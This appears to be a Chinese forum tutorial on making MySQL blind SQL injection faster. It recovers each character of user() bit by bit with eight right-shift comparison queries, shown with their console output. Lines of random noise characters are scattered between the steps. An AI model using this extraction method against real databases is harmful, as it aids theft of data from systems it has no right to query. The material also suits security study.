关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位

5 J% C: D7 W; Z
! b4 p) d: u$ H% L8 a: s: s8 [
" R3 i! r7 Q  B, C0 x# [' V下面将以查询mysql数据库当中user()的第一位为例:

& l8 ^$ _. S+ u$ ~6 w3 \
! A% ~0 j) X# @# [. Q3 Z
2 x. v( y4 k- I: Fps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)


; L% n0 M, ^' b7 Y0 A
( d; M( ]# c/ {( r3 L; p首先执行如下sql语句:


. }2 y5 u$ O  U0 Y- ?: ~
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
$ F! R8 s. v( u" a8 \
4 U. v2 Z( t* E$ s
- {7 P0 S; Y8 x7 O; a4 D
2 R5 S+ d+ f' w" o我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
+ Y7 b: t0 o: C+ t2 i0 B
) Q# t' {+ c  s& D  h, ~
+ S/ ^; C: m% [& \0 L$ W3 Z
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1

; I5 ^/ j. G/ M4 z

) a8 ?2 }7 ]4 {如果运算结果为1,说明第一位为0,不为1

' L3 R4 D; E2 w: K+ O

6 ^- ~. c" ]  r- F+————————————–+
+ R( m' [: U: c  |: J* x
6 H7 C; J9 p7 C" J| (ascii((substr(user(),1,1))) >> 7)=0 |

* `$ ^3 |; v2 |/ i* x& P+————————————–+

) k7 _- N- Y8 w  z( g3 z! C( c| 1 |
% m5 N! S3 q, E5 \, X+ E
+————————————–+
6 ?% h/ W! r% j! y
4 e# V: @$ w3 Y% M1 row in set (0.00 sec)

这样我们就确定这个8bit的ascii的第一位为0



7 H- G. Z4 l) W第二次我们来做6次右偏移来确定前两位
. Z1 c( l8 K5 v3 l/ r; g; s! x


前两位可能是01或00,即依然可以与0做比较,

mysql> select (ascii((substr(user(),1,1))) >> 6)=0;

+————————————–+
7 n( a  h3 O; m' D, G" M
| (ascii((substr(user(),1,1))) >> 6)=0 |
* W6 K: V: V5 I8 z/ J, V* r
+————————————–+
6 b- ]6 E; U1 B8 X2 R& h
| 0 |
8 Q0 d5 ?* W/ L- r% ?* g
$ ~' G& j. {8 f7 }. w+————————————–+

1 O7 G( o2 n; e  T1 row in set (0.00 sec)


5 y) |- P: f9 J; B9 Q$ {7 i
( u, X2 b) ]6 T( O  H, [, ?7 B. w结果为0,即第二位为1
5 u5 h, l( X# `' n* |
$ _" C: V6 N9 r* @+ [

开始猜测前三位为010或011
3 D/ ]0 }  Y! w5 {5 Y
1 v& f  K, a& A' L- h" W

! O+ t: p. E* W1 j- C$ n3 d让我们看看010和011的ascii码是多少
2 v) k0 E! L! f7 R' p

3 K$ r. \* c3 C5 x- g
分别查询select b’011′ select b’010′
) I1 G. H* J. N, U0 M9 m& z( e+ K

/ ~, g' O- z2 A& g* X4 T
  b) o8 \/ Z  j, B7 o' B获得结果 010 = 2 011 = 3



# ^0 e/ M. y: F% L) ]; c执行如下sql:
  v# M* _8 c) M- [! X- v
. I, v0 v3 p( J2 V

mysql> select (ascii((substr(user(),1,1))) >> 5)=2;

+————————————–+

| (ascii((substr(user(),1,1))) >> 5)=2 |

) E9 _" N- Y; P+————————————–+

| 0 |

5 [7 T: l1 S* a- O/ H8 D+————————————–+

! C$ z$ |7 T' |; E即前三位不为010,而是011
2 S! f- I" g( v4 @
. a5 p; j% V  [

, c% d& ]* u% ]& l. w) B直到获得最后一位
% `/ Z4 e' y3 {: T" I
$ [3 K. @6 }+ @: d

. W% ?; r, O. e" L( D最终结果为:01110010



) {! d! K, E( M, g转换一下:

- [: O7 v! G" u: l: l4 l
& H: l4 X  {  {  i
select b’01110010′

0 o) Q  Z" v% _5 |' M
) m6 H4 n$ x1 `1 r9 x- }, s
; t; ~0 b' h- m8 J查询结果
  [* a9 B+ G0 k0 E- X8 L1 N$ s


+————-+
" Q  I  I; W1 a
) N% U3 d! m6 i4 p| b’01110010′ |

1 W" j. O" \4 _: I- V: ]0 L+————-+
2 D( R1 W9 m" A% J0 `' d
" w- z7 Z) O. f# c, V, ^| r |

+————-+

* c: S$ g; C8 ~4 i1 row in set (0.00 sec)
) e& [* C0 Y- q" o9 f& Z$ _

6 O7 c$ G! f" v( W
这样我们就获得了user()的第一位.其它位依此类推